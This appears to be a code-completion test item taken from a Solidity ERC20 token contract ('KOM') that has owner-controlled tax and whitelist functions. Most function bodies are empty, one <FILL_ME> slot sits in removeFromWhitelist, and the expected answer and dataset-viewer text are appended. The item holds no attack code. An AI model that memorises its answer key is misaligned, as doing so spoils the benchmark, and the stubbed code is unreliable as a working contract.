uint256 amount
) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract KOM is ERC20, Ownable {
/* Token Tax */
uint32 public _taxPercision = 100000;
address[] public _taxRecipients;
uint16 public _taxTotal;
bool public _taxActive;
mapping(address => uint16) public _taxRecipientAmounts;
mapping(address => bool) private _isTaxRecipient;
mapping(address => bool) public _whitelisted;
/* Events */
event UpdateTaxPercentage(address indexed wallet, uint16 _newTaxAmount);
event AddTaxRecipient(address indexed wallet, uint16 _taxAmount);
event RemoveFromWhitelist(address indexed wallet);
event RemoveTaxRecipient(address indexed wallet);
event AddToWhitelist(address indexed wallet);
event ToggleTax(bool _active);
uint256 private _totalSupply;
/**
* @dev Constructor.
*/
constructor() ERC20('KwoN PrEdAtOR', 'KOM') payable {
}
/**
* @notice overrides ERC20 transferFrom function to introduce tax functionality
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @notice : overrides ERC20 transfer function to introduce tax functionality
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of lowest token units to be burned.
*/
function burn(uint256 value) public {
}
/* ADMIN Functions */
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
}
/**
* @notice : adds address with tax amount to taxable addresses list
* @param wallet address to add
* @param _tax tax amount this address receives
*/
function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {
}
/**
* @notice : updates address tax amount
* @param wallet address to update
* @param newTax new tax amount
*/
function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {
}
/**
* @notice : remove address from taxed list
* @param wallet address to remove
*/
function removeTaxRecipient(address wallet) external onlyOwner {
}
/**
* @notice : add address to tax whitelist
* @param wallet address to add to whitelist
*/
function addToWhitelist(address wallet) external onlyOwner {
}
/**
* @notice : add address to whitelist (non taxed)
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(address wallet) external onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(<FILL_ME>)
_whitelisted[wallet] = false;
emit RemoveFromWhitelist(wallet);
}
/**
* @notice : resets tax settings to initial state
*/
function taxReset() external onlyOwner {
}
/**
* @notice : withdraws taxable amount to tax recipients
*/
function distributeTaxes() external onlyOwner {
}
}
| _whitelisted[wallet],"Address not added" | 243,734 | _whitelisted[wallet] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.